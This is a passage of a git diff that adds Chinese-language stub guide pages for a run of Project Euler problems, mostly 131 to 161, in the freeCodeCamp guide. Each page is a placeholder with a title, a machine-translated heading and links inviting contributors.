+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-131-prime-cube-partnership/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-131-prime-cube-partnership/index.md
new file mode 100644
index 0000000000..3b67507917
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-131-prime-cube-partnership/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime cube partnership
+localeTitle: Prime立方体合作
+---
+## 问题131：Prime立方体伙伴关系
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-131-prime-cube-partnership/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-132-large-repunit-factors/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-132-large-repunit-factors/index.md
new file mode 100644
index 0000000000..8ed45a7721
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-132-large-repunit-factors/index.md
@@ -0,0 +1,9 @@
+---
+title: Large repunit factors
+localeTitle: 大的重新安置因素
+---
+## 问题132：大的重新安置因素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-132-large-repunit-factors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-133-repunit-nonfactors/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-133-repunit-nonfactors/index.md
new file mode 100644
index 0000000000..e4948c1e24
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-133-repunit-nonfactors/index.md
@@ -0,0 +1,9 @@
+---
+title: Repunit nonfactors
+localeTitle: 重新定义非因素
+---
+## 问题133：重新计算非因素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-133-repunit-nonfactors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-134-prime-pair-connection/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-134-prime-pair-connection/index.md
new file mode 100644
index 0000000000..d1fa38c1ff
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-134-prime-pair-connection/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime pair connection
+localeTitle: Prime对连接
+---
+## 问题134：素对对连接
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-134-prime-pair-connection/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-135-same-differences/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-135-same-differences/index.md
new file mode 100644
index 0000000000..741f1a16ee
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-135-same-differences/index.md
@@ -0,0 +1,9 @@
+---
+title: Same differences
+localeTitle: 相同的差异
+---
+## 问题135：同样的差异
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-135-same-differences/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-136-singleton-difference/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-136-singleton-difference/index.md
new file mode 100644
index 0000000000..a2dd1ba49a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-136-singleton-difference/index.md
@@ -0,0 +1,9 @@
+---
+title: Singleton difference
+localeTitle: 单身人士差异
+---
+## 问题136：单身人士差异
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-136-singleton-difference/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-137-fibonacci-golden-nuggets/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-137-fibonacci-golden-nuggets/index.md
new file mode 100644
index 0000000000..61d39fa8f9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-137-fibonacci-golden-nuggets/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci golden nuggets
+localeTitle: 斐波那契金块
+---
+## 问题137：斐波那契金块
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-137-fibonacci-golden-nuggets/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-138-special-isosceles-triangles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-138-special-isosceles-triangles/index.md
new file mode 100644
index 0000000000..1a488aa18d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-138-special-isosceles-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Special isosceles triangles
+localeTitle: 特殊的等腰三角形
+---
+## 问题138：特殊的等腰三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-138-special-isosceles-triangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-139-pythagorean-tiles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-139-pythagorean-tiles/index.md
new file mode 100644
index 0000000000..0d4ca9fc68
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-139-pythagorean-tiles/index.md
@@ -0,0 +1,9 @@
+---
+title: Pythagorean tiles
+localeTitle: 毕达哥拉斯瓷砖
+---
+## 问题139：毕达哥拉斯瓷砖
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-139-pythagorean-tiles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-14-longest-collatz-sequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-14-longest-collatz-sequence/index.md
new file mode 100644
index 0000000000..fb7c0230a9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-14-longest-collatz-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Longest Collatz sequence
+localeTitle: 最长的Collat​​z序列
+---
+## 问题14：最长的Collat​​z序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-14-longest-collatz-sequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-140-modified-fibonacci-golden-nuggets/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-140-modified-fibonacci-golden-nuggets/index.md
new file mode 100644
index 0000000000..72212b60b4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-140-modified-fibonacci-golden-nuggets/index.md
@@ -0,0 +1,9 @@
+---
+title: Modified Fibonacci golden nuggets
+localeTitle: 改良的斐波那契金块
+---
+## 问题140：改进的斐波那契金块
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-140-modified-fibonacci-golden-nuggets/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-141-investigating-progressive-numbers-n-which-are-also-square/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-141-investigating-progressive-numbers-n-which-are-also-square/index.md
new file mode 100644
index 0000000000..0f6f04003e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-141-investigating-progressive-numbers-n-which-are-also-square/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating progressive numbers, n, which are also square
+localeTitle: 研究渐进数n，它们也是正方形
+---
+## 问题141：调查渐进数n，它们也是正方形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-141-investigating-progressive-numbers-n-which-are-also-square/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-142-perfect-square-collection/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-142-perfect-square-collection/index.md
new file mode 100644
index 0000000000..e814908f8b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-142-perfect-square-collection/index.md
@@ -0,0 +1,9 @@
+---
+title: Perfect Square Collection
+localeTitle: 完美广场系列
+---
+## 问题142：完美的方形集合
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-142-perfect-square-collection/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-143-investigating-the-torricelli-point-of-a-triangle/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-143-investigating-the-torricelli-point-of-a-triangle/index.md
new file mode 100644
index 0000000000..f4f6b092d0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-143-investigating-the-torricelli-point-of-a-triangle/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating the Torricelli point of a triangle
+localeTitle: 研究三角形的托里切利点
+---
+## 问题143：研究三角形的Torricelli点
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-143-investigating-the-torricelli-point-of-a-triangle/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-144-investigating-multiple-reflections-of-a-laser-beam/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-144-investigating-multiple-reflections-of-a-laser-beam/index.md
new file mode 100644
index 0000000000..9ff7e539a2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-144-investigating-multiple-reflections-of-a-laser-beam/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating multiple reflections of a laser beam
+localeTitle: 研究激光束的多次反射
+---
+## 问题144：研究激光束的多次反射
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-144-investigating-multiple-reflections-of-a-laser-beam/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-145-how-many-reversible-numbers-are-there-below-one-billion/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-145-how-many-reversible-numbers-are-there-below-one-billion/index.md
new file mode 100644
index 0000000000..69d447c105
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-145-how-many-reversible-numbers-are-there-below-one-billion/index.md
@@ -0,0 +1,9 @@
+---
+title: How many reversible numbers are there below one-billion?
+localeTitle: 有多少可逆数字低于10亿？
+---
+## 问题145：有多少可逆数字低于十亿？
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-145-how-many-reversible-numbers-are-there-below-one-billion/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-146-investigating-a-prime-pattern/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-146-investigating-a-prime-pattern/index.md
new file mode 100644
index 0000000000..1381b12dbc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-146-investigating-a-prime-pattern/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating a Prime Pattern
+localeTitle: 调查素数模式
+---
+## 问题146：调查素数模式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-146-investigating-a-prime-pattern/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-147-rectangles-in-cross-hatched-grids/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-147-rectangles-in-cross-hatched-grids/index.md
new file mode 100644
index 0000000000..a3a20b3e08
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-147-rectangles-in-cross-hatched-grids/index.md
@@ -0,0 +1,9 @@
+---
+title: Rectangles in cross-hatched grids
+localeTitle: 交叉阴影网格中的矩形
+---
+## 问题147：交叉阴影网格中的矩形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-147-rectangles-in-cross-hatched-grids/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-148-exploring-pascals-triangle/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-148-exploring-pascals-triangle/index.md
new file mode 100644
index 0000000000..b1b4c67769
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-148-exploring-pascals-triangle/index.md
@@ -0,0 +1,9 @@
+---
+title: Exploring Pascal's triangle
+localeTitle: 探索帕斯卡的三角形
+---
+## 问题148：探索Pascal的三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-148-exploring-pascals-triangle/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-149-searching-for-a-maximum-sum-subsequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-149-searching-for-a-maximum-sum-subsequence/index.md
new file mode 100644
index 0000000000..fbd93e1512
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-149-searching-for-a-maximum-sum-subsequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Searching for a maximum-sum subsequence
+localeTitle: 搜索最大和子序列
+---
+## 问题149：搜索最大和子序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-149-searching-for-a-maximum-sum-subsequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-15-lattice-paths/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-15-lattice-paths/index.md
new file mode 100644
index 0000000000..65b5e8c7e7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-15-lattice-paths/index.md
@@ -0,0 +1,9 @@
+---
+title: Lattice paths
+localeTitle: 格子路径
+---
+## 问题15：格子路径
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-15-lattice-paths/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-150-searching-a-triangular-array-for-a-sub-triangle-having-minimum-sum/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-150-searching-a-triangular-array-for-a-sub-triangle-having-minimum-sum/index.md
new file mode 100644
index 0000000000..37a006efdd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-150-searching-a-triangular-array-for-a-sub-triangle-having-minimum-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Searching a triangular array for a sub-triangle having minimum-sum
+localeTitle: 在三角形数组中搜索具有最小和的子三角形
+---
+## 问题150：在三角形阵列中搜索具有最小和的子三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-150-searching-a-triangular-array-for-a-sub-triangle-having-minimum-sum/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-151-paper-sheets-of-standard-sizes-an-expected-value-problem/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-151-paper-sheets-of-standard-sizes-an-expected-value-problem/index.md
new file mode 100644
index 0000000000..12fcf0801b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-151-paper-sheets-of-standard-sizes-an-expected-value-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: Paper sheets of standard sizes - an expected-value problem
+localeTitle: 标准尺寸的纸张 - 预期值问题
+---
+## 问题151：标准尺寸的纸张：预期值问题
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-151-paper-sheets-of-standard-sizes-an-expected-value-problem/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-152-writing-12-as-a-sum-of-inverse-squares/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-152-writing-12-as-a-sum-of-inverse-squares/index.md
new file mode 100644
index 0000000000..0f2e2588c0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-152-writing-12-as-a-sum-of-inverse-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Writing 1/2 as a sum of inverse squares
+localeTitle: 将1/2写为倒数平方和
+---
+## 问题152：将1/2写成倒数平方和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-152-writing-12-as-a-sum-of-inverse-squares/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-153-investigating-gaussian-integers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-153-investigating-gaussian-integers/index.md
new file mode 100644
index 0000000000..a61fb692d9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-153-investigating-gaussian-integers/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating Gaussian Integers
+localeTitle: 调查高斯整数
+---
+## 问题153：调查高斯整数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-153-investigating-gaussian-integers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-154-exploring-pascals-pyramid/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-154-exploring-pascals-pyramid/index.md
new file mode 100644
index 0000000000..7260ea9a31
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-154-exploring-pascals-pyramid/index.md
@@ -0,0 +1,9 @@
+---
+title: Exploring Pascal's pyramid
+localeTitle: 探索帕斯卡的金字塔
+---
+## 问题154：探索帕斯卡的金字塔
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-154-exploring-pascals-pyramid/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-155-counting-capacitor-circuits/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-155-counting-capacitor-circuits/index.md
new file mode 100644
index 0000000000..f599ee4bc6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-155-counting-capacitor-circuits/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting Capacitor Circuits
+localeTitle: 计数电容器电路
+---
+## 问题155：计数电容器电路
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-155-counting-capacitor-circuits/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-156-counting-digits/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-156-counting-digits/index.md
new file mode 100644
index 0000000000..0df5787037
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-156-counting-digits/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting Digits
+localeTitle: 计数数字
+---
+## 问题156：计算数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-156-counting-digits/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-157-solving-the-diophantine-equation-1a1b-p10n/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-157-solving-the-diophantine-equation-1a1b-p10n/index.md
new file mode 100644
index 0000000000..6c4122532d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-157-solving-the-diophantine-equation-1a1b-p10n/index.md
@@ -0,0 +1,9 @@
+---
+title: Solving the diophantine equation 1/a+1/b= p/10n
+localeTitle: 求解不定方程1 / a + 1 / b = p / 10n
+---
+## 问题157：求解丢番图方程1 / a + 1 / b = p / 10n
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-157-solving-the-diophantine-equation-1a1b-p10n/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-158-exploring-strings-for-which-only-one-character-comes-lexicographically-after-its-neighbour-to-the-left/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-158-exploring-strings-for-which-only-one-character-comes-lexicographically-after-its-neighbour-to-the-left/index.md
new file mode 100644
index 0000000000..721d85ff36
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-158-exploring-strings-for-which-only-one-character-comes-lexicographically-after-its-neighbour-to-the-left/index.md
@@ -0,0 +1,9 @@
+---
+title: Exploring strings for which only one character comes lexicographically after its neighbour to the left
+localeTitle: 探索在左边邻居之后只有一个字符按字典顺序排列的字符串
+---
+## 问题158：探索在其邻居之后只有一个字符按字典顺序出现的字符串
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-158-exploring-strings-for-which-only-one-character-comes-lexicographically-after-its-neighbour-to-the-left/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-159-digital-root-sums-of-factorisations/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-159-digital-root-sums-of-factorisations/index.md
new file mode 100644
index 0000000000..56d16ff9c1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-159-digital-root-sums-of-factorisations/index.md
@@ -0,0 +1,9 @@
+---
+title: Digital root sums of factorisations
+localeTitle: 因子的数字根和
+---
+## 问题159：因子的数字根和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-159-digital-root-sums-of-factorisations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-16-power-digit-sum/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-16-power-digit-sum/index.md
new file mode 100644
index 0000000000..9378762ef2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-16-power-digit-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Power digit sum
+localeTitle: 功率数字总和
+---
+## 问题16：电源数字总和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-16-power-digit-sum/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-160-factorial-trailing-digits/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-160-factorial-trailing-digits/index.md
new file mode 100644
index 0000000000..a9ba65b23e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-160-factorial-trailing-digits/index.md
@@ -0,0 +1,9 @@
+---
+title: Factorial trailing digits
+localeTitle: 因子尾随数字
+---
+## 问题160：因子尾随数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-160-factorial-trailing-digits/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-161-triominoes/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-161-triominoes/index.md
new file mode 100644
index 0000000000..923f5494a4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-161-triominoes/index.md
@@ -0,0 +1,9 @@
+---
+title: Triominoes
+localeTitle: Triominoes
+---
+## 问题161：Triominoes
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-161-triominoes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
